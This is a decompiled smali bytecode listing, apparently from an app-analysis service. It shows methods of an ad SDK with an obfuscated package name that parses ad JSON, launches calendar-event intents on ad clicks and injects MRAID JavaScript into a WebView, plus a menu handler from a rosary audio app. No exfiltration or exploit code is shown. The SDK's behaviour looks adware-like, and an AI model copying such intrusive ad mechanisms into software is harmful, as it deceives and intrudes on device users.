161 | invoke-virtual {v0, v2, v3}, Landroid/view/animation/Animation;->setDuration(J)V |
|
162 | new-instance v1, Landroid/view/animation/AccelerateInterpolator; | |
164 | invoke-direct {v1}, Landroid/view/animation/AccelerateInterpolator;-><init>()V | |
166 | invoke-virtual {v0, v1}, Landroid/view/animation/Animation;->setInterpolator(Landroid/view/animation/Interpolator;)V | |
167 | goto/16 :goto_1e |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "result" # Ljava/lang/String; | |
1 | .prologue | |
3 | const-string v5, "AirplaySDK" | |
4 | new-instance v6, Ljava/lang/StringBuilder; | |
6 | invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V | |
8 | const-string v7, "Rich Media Ad Json: " | |
10 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
11 | move-result-object v6 | |
13 | invoke-virtual {v6, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
14 | move-result-object v6 | |
16 | invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
17 | move-result-object v6 | |
19 | invoke-static {v5, v6}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
20 | if-nez p1, :cond_1b | |
21 | goto_1a: return-void | |
22 | try_start_1b: new-instance v2, Lorg/json/JSONObject; | |
24 | invoke-direct {v2, p1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V | |
26 | const-string v5, "status" | |
28 | invoke-virtual {v2, v5}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
29 | move-result v5 | |
30 | if-eqz v5, :cond_64 | |
31 | const/4 v4, 0x0 | |
32 | goto_29: | |
33 | const-string v5, "message" | |
35 | invoke-virtual {v2, v5}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
36 | move-result v5 | |
37 | if-eqz v5, :cond_6b | |
39 | const-string v3, "invalid" | |
40 | goto_33: | |
41 | const-string v5, "adtype" | |
43 | invoke-virtual {v2, v5}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
44 | move-result v5 | |
45 | if-eqz v5, :cond_72 | |
46 | const/4 v0, 0x0 | |
47 | goto_3c: if-eqz v0, :cond_46 | |
49 | const-string v5, "MFP" | |
51 | invoke-virtual {v0, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
52 | move-result v5 | |
53 | if-nez v5, :cond_79 | |
54 | cond_46: | |
55 | const-string v5, "AirplaySDK" | |
56 | new-instance v6, Ljava/lang/StringBuilder; | |
58 | invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V | |
60 | const-string v7, "Invalid adtype: " | |
62 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
63 | move-result-object v6 | |
65 | invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
66 | move-result-object v6 | |
68 | invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
69 | move-result-object v6 | |
71 | invoke-static {v5, v6}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I |
|
72 | try_end_5e: goto/16 :goto_1a | |
73 | catch_5f: move-exception v1 | |
75 | invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V | |
76 | goto/16 :goto_1a | |
77 | try_start_64: | |
78 | const-string v5, "status" | |
80 | invoke-virtual {v2, v5}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I |
|
81 | move-result v4 | |
82 | goto/16 :goto_29 | |
83 | cond_6b: | |
84 | const-string v5, "message" | |
86 | invoke-virtual {v2, v5}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
87 | move-result-object v3 | |
88 | goto/16 :goto_33 | |
89 | cond_72: | |
90 | const-string v5, "adtype" | |
92 | invoke-virtual {v2, v5}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
93 | move-result-object v0 | |
94 | goto/16 :goto_3c | |
95 | cond_79: const/16 v5, 0xc8 | |
96 | if-ne v4, v5, :cond_a1 | |
98 | const-string v5, "Success" | |
100 | invoke-virtual {v3, v5}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z |
|
101 | move-result v5 | |
102 | if-eqz v5, :cond_a1 | |
103 | sget-boolean v5, Lcom/vxjxu/jkhfn1870/AirPlay;->enableCaching:Z | |
104 | if-eqz v5, :cond_9a | |
106 | iget-object v5, p0, Lcom/vxjxu/jkhfn1870/AirPlay$5;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay; | |
108 | invoke-static {v5}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$100(Lcom/vxjxu/jkhfn1870/AirPlay;)Lcom/vxjxu/jkhfn1870/Caching; | |
109 | move-result-object v5 | |
111 | sget-object v6, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->interstitial:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
113 | invoke-virtual {v5, v6, p1}, Lcom/vxjxu/jkhfn1870/Caching;->saveJson(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;Ljava/lang/String;)Z | |
115 | sget-object v5, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->interstitial:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
117 | invoke-static {v5}, Lcom/vxjxu/jkhfn1870/SDKIntializer;->sendAdCached(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;)V | |
118 | goto/16 :goto_1a | |
119 | cond_9a: | |
120 | iget-object v5, p0, Lcom/vxjxu/jkhfn1870/AirPlay$5;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay; | |
122 | invoke-virtual {v5, v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->parseRichMediaInterstitialJson(Lorg/json/JSONObject;)V | |
123 | goto/16 :goto_1a | |
124 | cond_a1: | |
125 | invoke-static {v4, v3}, Lcom/vxjxu/jkhfn1870/AirPlay;->validateStatusCode(ILjava/lang/String;)V | |
126 | try_end_a4: goto/16 :goto_1a |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "jsonString" # Ljava/lang/String; | |
1 | .prologue | |
2 | const/4 v2, 0x0 | |
4 | invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V |
|
5 | new-instance v2, Ljava/lang/StringBuilder; | |
7 | invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V | |
9 | const-string v3, "SDK LOG: inside createCalendarEvent: " | |
11 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
12 | move-result-object v2 | |
14 | invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
15 | move-result-object v2 | |
17 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
18 | move-result-object v2 | |
20 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V | |
22 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
23 | if-eqz v2, :cond_23 | |
25 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
27 | invoke-interface {v2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onAdClickListener()V | |
28 | cond_23: if-eqz p1, :cond_2d | |
29 | try_start_25: | |
30 | const-string v2, "" | |
32 | invoke-virtual {p1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
33 | move-result v2 | |
34 | if-eqz v2, :cond_3c | |
35 | cond_2d: | |
36 | const-string v2, "createCalendarEvent" | |
38 | const-string v3, "Calender method called with empty json." | |
40 | invoke-virtual {p0, v2, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V |
|
42 | const-string v2, "AirplayMraid" | |
44 | const-string v3, "Error occured while creating calendar event." | |
46 | invoke-static {v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
47 | goto_3b: return-void | |
48 | cond_3c: new-instance v1, Landroid/content/Intent; | |
50 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
51 | move-result-object v2 | |
52 | const-class v3, Lcom/vxjxu/jkhfn1870/BrowserActivity; | |
54 | invoke-direct {v1, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
56 | const-string v2, "newCalendarEvent" | |
58 | invoke-virtual {v1, v2}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent; |
|
59 | const/high16 v2, 0x10000000 | |
61 | invoke-virtual {v1, v2}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
62 | const/high16 v2, 0x800000 | |
64 | invoke-virtual {v1, v2}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
66 | const-string v2, "json" | |
68 | invoke-virtual {v1, v2, p1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
70 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
71 | move-result-object v2 | |
73 | invoke-virtual {v2, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V | |
74 | try_end_62: goto/16 :goto_3b | |
75 | catch_63: move-exception v0 | |
77 | invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V | |
79 | const-string v2, "89" | |
81 | invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V |
|
83 | const-string v2, "createCalendarEvent" | |
85 | const-string v3, "Error occured in createCalenderEvent." | |
87 | invoke-virtual {p0, v2, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V |
|
89 | const-string v2, "AirplayMraid" | |
91 | const-string v3, "Error occured in createCalenderEvent." | |
93 | invoke-static {v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
94 | goto/16 :goto_3b |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | const/16 v8, 0xa | |
2 | try_start_2: | |
3 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getWidth()I | |
4 | move-result v6 | |
5 | int-to-float v6, v6 | |
7 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
8 | move-result-object v7 | |
10 | invoke-static {v6, v7}, Lcom/vxjxu/jkhfn1870/Util;->convertPixelsToDp(FLandroid/content/Context;)F | |
11 | move-result v6 | |
12 | float-to-int v3, v6 | |
14 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getHeight()I | |
15 | move-result v6 | |
16 | int-to-float v6, v6 | |
18 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
19 | move-result-object v7 | |
21 | invoke-static {v6, v7}, Lcom/vxjxu/jkhfn1870/Util;->convertPixelsToDp(FLandroid/content/Context;)F | |
22 | move-result v6 | |
23 | float-to-int v1, v6 | |
25 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getLeft()I | |
26 | move-result v4 | |
27 | sget v6, Landroid/os/Build$VERSION;->SDK_INT:I | |
28 | if-le v6, v8, :cond_2b | |
30 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getX()F | |
31 | move-result v6 | |
32 | float-to-int v4, v6 | |
33 | cond_2b: | |
34 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getTop()I | |
35 | move-result v5 | |
36 | sget v6, Landroid/os/Build$VERSION;->SDK_INT:I | |
37 | if-le v6, v8, :cond_38 | |
39 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getY()F | |
40 | move-result v6 | |
41 | float-to-int v5, v6 | |
42 | cond_38: new-instance v2, Lorg/json/JSONObject; | |
44 | invoke-direct {v2}, Lorg/json/JSONObject;-><init>()V | |
46 | const-string v6, "x" | |
48 | invoke-virtual {v2, v6, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject; |
|
50 | const-string v6, "y" | |
52 | invoke-virtual {v2, v6, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject; |
|
54 | const-string v6, "width" | |
56 | invoke-virtual {v2, v6, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject; |
|
58 | const-string v6, "height" | |
60 | invoke-virtual {v2, v6, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject; |
|
61 | new-instance v6, Ljava/lang/StringBuilder; | |
63 | invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V | |
65 | const-string v7, "mraid.setCurrentPosition(" | |
67 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
68 | move-result-object v6 | |
70 | invoke-virtual {v6, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
71 | move-result-object v6 | |
73 | const-string v7, ");" | |
75 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
76 | move-result-object v6 | |
78 | invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
79 | move-result-object v6 | |
81 | invoke-virtual {p0, v6}, Lcom/vxjxu/jkhfn1870/MraidView;->injectJSCode(Ljava/lang/String;)V | |
82 | try_end_6d: return-void | |
83 | catch_6e: move-exception v0 | |
85 | const-string v6, "setCurrentPosition" | |
87 | const-string v7, "Error occured while setting current position." | |
89 | invoke-virtual {p0, v6, v7}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V |
|
91 | invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V | |
92 | goto/16 :goto_6d |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | const/16 v8, 0xa | |
2 | try_start_2: | |
3 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getWidth()I | |
4 | move-result v6 | |
5 | int-to-float v6, v6 | |
7 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
8 | move-result-object v7 | |
10 | invoke-static {v6, v7}, Lcom/vxjxu/jkhfn1870/Util;->convertPixelsToDp(FLandroid/content/Context;)F | |
11 | move-result v6 | |
12 | float-to-int v3, v6 | |
14 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getHeight()I | |
15 | move-result v6 | |
16 | int-to-float v6, v6 | |
18 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
19 | move-result-object v7 | |
21 | invoke-static {v6, v7}, Lcom/vxjxu/jkhfn1870/Util;->convertPixelsToDp(FLandroid/content/Context;)F | |
22 | move-result v6 | |
23 | float-to-int v1, v6 | |
25 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getLeft()I | |
26 | move-result v4 | |
27 | sget v6, Landroid/os/Build$VERSION;->SDK_INT:I | |
28 | if-le v6, v8, :cond_2b | |
30 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getX()F | |
31 | move-result v6 | |
32 | float-to-int v4, v6 | |
33 | cond_2b: | |
34 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getTop()I | |
35 | move-result v5 | |
36 | sget v6, Landroid/os/Build$VERSION;->SDK_INT:I | |
37 | if-le v6, v8, :cond_38 | |
39 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getY()F | |
40 | move-result v6 | |
41 | float-to-int v5, v6 | |
42 | cond_38: new-instance v2, Lorg/json/JSONObject; | |
44 | invoke-direct {v2}, Lorg/json/JSONObject;-><init>()V | |
46 | const-string v6, "x" | |
48 | invoke-virtual {v2, v6, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject; |
|
50 | const-string v6, "y" | |
52 | invoke-virtual {v2, v6, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject; |
|
54 | const-string v6, "width" | |
56 | invoke-virtual {v2, v6, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject; |
|
58 | const-string v6, "height" | |
60 | invoke-virtual {v2, v6, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject; |
|
61 | new-instance v6, Ljava/lang/StringBuilder; | |
63 | invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V | |
65 | const-string v7, "mraid.setDefaultPosition(" | |
67 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
68 | move-result-object v6 | |
70 | invoke-virtual {v6, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
71 | move-result-object v6 | |
73 | const-string v7, ");" | |
75 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
76 | move-result-object v6 | |
78 | invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
79 | move-result-object v6 | |
81 | invoke-virtual {p0, v6}, Lcom/vxjxu/jkhfn1870/MraidView;->injectJSCode(Ljava/lang/String;)V | |
82 | try_end_6d: return-void | |
83 | catch_6e: move-exception v0 | |
85 | const-string v6, "setDefaultPosition" | |
87 | const-string v7, "Error occured while setting default position." | |
89 | invoke-virtual {p0, v6, v7}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V |
|
91 | invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V | |
92 | goto/16 :goto_6d |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "item" # Landroid/view/MenuItem; | |
1 | .prologue | |
2 | const/4 v2, 0x1 | |
3 | const/4 v4, 0x0 | |
5 | invoke-interface {p1}, Landroid/view/MenuItem;->getItemId()I | |
6 | move-result v3 | |
7 | packed-switch v3, :pswitch_data_108 | |
8 | pswitch_9: | |
9 | invoke-super {p0, p1}, Landroid/app/Activity;->onOptionsItemSelected(Landroid/view/MenuItem;)Z | |
10 | move-result v2 | |
11 | goto_d: return v2 | |
12 | pswitch_e: new-instance v1, Landroid/content/Intent; | |
14 | invoke-virtual {p0}, Lprsolutions/rosariofacileads/Player;->getApplication()Landroid/app/Application; | |
15 | move-result-object v3 | |
16 | const-class v4, Lprsolutions/rosariofacileads/Opzioni; | |
18 | invoke-direct {v1, v3, v4}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
20 | invoke-virtual {p0, v1}, Lprsolutions/rosariofacileads/Player;->startActivity(Landroid/content/Intent;)V | |
21 | goto/16 :goto_d | |
22 | pswitch_1d: const/4 v3, 0x7 | |
23 | iput v3, p0, Lprsolutions/rosariofacileads/Player;->playingNow:I | |
24 | iput v4, p0, Lprsolutions/rosariofacileads/Player;->pallino:I | |
25 | iput v4, p0, Lprsolutions/rosariofacileads/Player;->pausa:I | |
27 | iget-object v3, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
29 | invoke-virtual {v3}, Landroid/media/MediaPlayer;->release()V | |
31 | invoke-virtual {p0}, Lprsolutions/rosariofacileads/Player;->SettaggioIniziale()V | |
32 | const/4 v0, 0x0 | |
33 | goto_2d: const/4 v3, 0x4 | |
34 | if-ge v0, v3, :cond_36 | |
36 | invoke-direct {p0}, Lprsolutions/rosariofacileads/Player;->AggiungiPallino()V | |
37 | add-int/lit8 v0, v0, 0x1 | |
38 | goto/16 :goto_2d | |
39 | cond_36: | |
40 | iget-object v3, p0, Lprsolutions/rosariofacileads/Player;->sequenza:[I | |
41 | iget v4, p0, Lprsolutions/rosariofacileads/Player;->playingNow:I | |
42 | aget v3, v3, v4 | |
44 | invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; | |
45 | move-result-object v3 | |
47 | invoke-direct {p0, v3}, Lprsolutions/rosariofacileads/Player;->playAudio(Ljava/lang/Integer;)V | |
48 | goto/16 :goto_d | |
49 | pswitch_44: const/16 v3, 0x15 | |
50 | iput v3, p0, Lprsolutions/rosariofacileads/Player;->playingNow:I | |
51 | iput v4, p0, Lprsolutions/rosariofacileads/Player;->pallino:I | |
52 | iput v4, p0, Lprsolutions/rosariofacileads/Player;->pausa:I | |
54 | iget-object v3, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
56 | invoke-virtual {v3}, Landroid/media/MediaPlayer;->release()V | |
58 | invoke-virtual {p0}, Lprsolutions/rosariofacileads/Player;->SettaggioIniziale()V | |
59 | const/4 v0, 0x0 | |
60 | goto_55: const/16 v3, 0xf | |
61 | if-ge v0, v3, :cond_5f | |
63 | invoke-direct {p0}, Lprsolutions/rosariofacileads/Player;->AggiungiPallino()V | |
64 | add-int/lit8 v0, v0, 0x1 | |
65 | goto/16 :goto_55 | |
66 | cond_5f: | |
67 | iget-object v3, p0, Lprsolutions/rosariofacileads/Player;->sequenza:[I | |
68 | iget v4, p0, Lprsolutions/rosariofacileads/Player;->playingNow:I | |
69 | aget v3, v3, v4 | |
71 | invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; | |
72 | move-result-object v3 | |
74 | invoke-direct {p0, v3}, Lprsolutions/rosariofacileads/Player;->playAudio(Ljava/lang/Integer;)V | |
75 | goto/16 :goto_d | |
76 | pswitch_6d: const/16 v3, 0x23 | |
77 | iput v3, p0, Lprsolutions/rosariofacileads/Player;->playingNow:I | |
78 | iput v4, p0, Lprsolutions/rosariofacileads/Player;->pallino:I | |
79 | iput v4, p0, Lprsolutions/rosariofacileads/Player;->pausa:I | |
81 | iget-object v3, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
83 | invoke-virtual {v3}, Landroid/media/MediaPlayer;->release()V | |
85 | invoke-virtual {p0}, Lprsolutions/rosariofacileads/Player;->SettaggioIniziale()V | |
86 | const/4 v0, 0x0 | |
87 | goto_7e: const/16 v3, 0x1a | |
88 | if-ge v0, v3, :cond_88 | |
90 | invoke-direct {p0}, Lprsolutions/rosariofacileads/Player;->AggiungiPallino()V | |
91 | add-int/lit8 v0, v0, 0x1 | |
92 | goto/16 :goto_7e | |
93 | cond_88: | |
94 | iget-object v3, p0, Lprsolutions/rosariofacileads/Player;->sequenza:[I | |
95 | iget v4, p0, Lprsolutions/rosariofacileads/Player;->playingNow:I | |
96 | aget v3, v3, v4 | |
98 | invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; | |
99 | move-result-object v3 | |
101 | invoke-direct {p0, v3}, Lprsolutions/rosariofacileads/Player;->playAudio(Ljava/lang/Integer;)V | |
102 | goto/16 :goto_d | |
103 | pswitch_97: const/16 v3, 0x31 | |
104 | iput v3, p0, Lprsolutions/rosariofacileads/Player;->playingNow:I | |
105 | iput v4, p0, Lprsolutions/rosariofacileads/Player;->pallino:I | |
106 | iput v4, p0, Lprsolutions/rosariofacileads/Player;->pausa:I | |
108 | iget-object v3, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
110 | invoke-virtual {v3}, Landroid/media/MediaPlayer;->release()V | |
112 | invoke-virtual {p0}, Lprsolutions/rosariofacileads/Player;->SettaggioIniziale()V | |
113 | const/4 v0, 0x0 | |
114 | goto_a8: const/16 v3, 0x25 | |
115 | if-ge v0, v3, :cond_b2 | |
117 | invoke-direct {p0}, Lprsolutions/rosariofacileads/Player;->AggiungiPallino()V | |
118 | add-int/lit8 v0, v0, 0x1 | |
119 | goto/16 :goto_a8 | |
120 | cond_b2: | |
121 | iget-object v3, p0, Lprsolutions/rosariofacileads/Player;->sequenza:[I | |
122 | iget v4, p0, Lprsolutions/rosariofacileads/Player;->playingNow:I | |
123 | aget v3, v3, v4 | |
125 | invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; | |
126 | move-result-object v3 | |
128 | invoke-direct {p0, v3}, Lprsolutions/rosariofacileads/Player;->playAudio(Ljava/lang/Integer;)V | |
129 | goto/16 :goto_d | |
130 | pswitch_c1: const/16 v3, 0x3f | |
131 | iput v3, p0, Lprsolutions/rosariofacileads/Player;->playingNow:I | |
132 | iput v4, p0, Lprsolutions/rosariofacileads/Player;->pallino:I | |
133 | iput v4, p0, Lprsolutions/rosariofacileads/Player;->pausa:I | |
135 | iget-object v3, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
137 | invoke-virtual {v3}, Landroid/media/MediaPlayer;->release()V | |
139 | invoke-virtual {p0}, Lprsolutions/rosariofacileads/Player;->SettaggioIniziale()V | |
140 | const/4 v0, 0x0 | |
141 | goto_d2: const/16 v3, 0x30 | |
142 | if-ge v0, v3, :cond_dc | |
144 | invoke-direct {p0}, Lprsolutions/rosariofacileads/Player;->AggiungiPallino()V | |
145 | add-int/lit8 v0, v0, 0x1 | |
146 | goto/16 :goto_d2 | |
147 | cond_dc: | |
148 | iget-object v3, p0, Lprsolutions/rosariofacileads/Player;->sequenza:[I | |
149 | iget v4, p0, Lprsolutions/rosariofacileads/Player;->playingNow:I | |
150 | aget v3, v3, v4 | |
152 | invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; | |
153 | move-result-object v3 | |
155 | invoke-direct {p0, v3}, Lprsolutions/rosariofacileads/Player;->playAudio(Ljava/lang/Integer;)V | |
156 | goto/16 :goto_d | |
157 | pswitch_eb: iput v4, p0, Lprsolutions/rosariofacileads/Player;->playingNow:I | |
158 | iput v4, p0, Lprsolutions/rosariofacileads/Player;->pallino:I | |
159 | iput v4, p0, Lprsolutions/rosariofacileads/Player;->pausa:I | |
161 | iget-object v3, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
163 | invoke-virtual {v3}, Landroid/media/MediaPlayer;->release()V | |
165 | invoke-virtual {p0}, Lprsolutions/rosariofacileads/Player;->SettaggioIniziale()V | |
167 | iget-object v3, p0, Lprsolutions/rosariofacileads/Player;->sequenza:[I | |
168 | iget v4, p0, Lprsolutions/rosariofacileads/Player;->playingNow:I | |
169 | aget v3, v3, v4 | |
171 | invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; | |
172 | move-result-object v3 | |
174 | invoke-direct {p0, v3}, Lprsolutions/rosariofacileads/Player;->playAudio(Ljava/lang/Integer;)V | |
175 | goto/16 :goto_d |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "context" # Landroid/content/Context; | |
1 | .param p2, "adView" # Lcom/vxjxu/jkhfn1870/AdView; | |
2 | .param p3, "adListener" # Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
3 | .param p4, "handler" # Landroid/os/Handler; | |
4 | .param p5, "animationDrawListener" # Lcom/vxjxu/jkhfn1870/AdView$AnimationDrawListener; | |
5 | .annotation build Landroid/annotation/SuppressLint; | |
6 | value = { | |
7 | "InlinedApi" | |
8 | } | |
9 | .end annotation | |
10 | .prologue | |
12 | invoke-direct {p0, p1}, Landroid/webkit/WebView;-><init>(Landroid/content/Context;)V | |
13 | const/4 v3, 0x0 | |
14 | iput-boolean v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->isTestMode:Z | |
15 | try_start_6: sget v3, Landroid/os/Build$VERSION;->SDK_INT:I | |
16 | const/16 v4, 0xb | |
17 | if-lt v3, v4, :cond_25 | |
19 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
20 | move-result-object v3 | |
21 | instance-of v3, v3, Landroid/app/Activity; | |
22 | if-eqz v3, :cond_25 | |
24 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
25 | move-result-object v3 | |
26 | check-cast v3, Landroid/app/Activity; | |
28 | invoke-virtual {v3}, Landroid/app/Activity;->getWindow()Landroid/view/Window; | |
29 | move-result-object v3 | |
30 | const/high16 v4, 0x1000000 | |
31 | const/high16 v5, 0x1000000 | |
33 | invoke-virtual {v3, v4, v5}, Landroid/view/Window;->setFlags(II)V |
|
34 | try_end_25: iput-object p5, p0, Lcom/vxjxu/jkhfn1870/MraidView;->animationDrawListener:Lcom/vxjxu/jkhfn1870/AdView$AnimationDrawListener; | |
